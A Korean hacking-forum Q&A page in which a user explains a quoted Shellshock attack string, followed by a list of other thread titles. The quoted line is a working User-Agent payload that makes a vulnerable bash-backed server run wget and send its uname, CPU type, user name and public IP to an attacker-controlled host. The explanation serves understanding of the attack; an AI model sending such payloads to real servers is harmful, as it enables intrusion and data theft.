214, 11/11 회원가입  로그인  
   cosine
   [re] 이 공격구문에 대한 설명 부탁드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=206 [복사]


셸쇼크입니다. 리눅스 환경의 많은 웹 프레임워크에서 유저에이전트를 환경변수에 저장합니다. 따라서 취약한 환경의 서버사이드 스크립트에서 bash 셸을 호출한다면 User-Agent를 파싱하는 과정에서 {:;}; 이후부분의 코드가 실행됩니다. 코드는 공격자의 IP주소로 서버 정보를 전송하는 코드로 보입니다.===============================================================================

>User-Agent:() { :; }; /usr/bin/wget -qO - http://IP주소/?info-`uname`-`uname -p`-`whoami`-`wget -U curl -qO- ifconfig.me`
>이 공격구문에 대한 자세한 설명부탁드립니다.
===============================================================================
  Hit : 2651     Date : 2015/06/28 03:28


    
14   궁금해서 질문합니다~[2]     ju3622
 01/09 2663
13   홈페이지 디도스 원리?[1]     tbxmaos
 02/12 2651
    [re] 이 공격구문에 대한 설명 부탁드립니다.     cosine
 06/28 2650
11   해킹맛보기(서적) 아파치프로그램 질문입니다[1]     커세어
 09/29 2637
10   False Injection에 관한 질문입니다.[3]     dudtntdud
 01/18 2622
9   PHP에서 이메일 전송할때 가로챌 수 있나요?[9]     drrobot333
 11/16 2569
8   Post Method[2]     ewqqw
 03/16 2527
7   417 error     wiwiwi79
 08/15 2510
6   웹해킹 입문 책추천해주세요     kjwp1
 02/24 2499
5   APMSETUP7을 설치하려고하는데..     0429njy
 07/22 2402
4   POST METHOD     ewqqw
 03/13 2393
3   웹해킹 관련하여 질문드립니다[5]     solo20
 05/21 2346
2   웹 sqlmap 중에[1]     europa8340
 07/26 2245
1   CloudFlare 쓰는 사이트는 해킹하기 힘들까요?[3]     sogreat
 03/21 174
[1].. 11

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org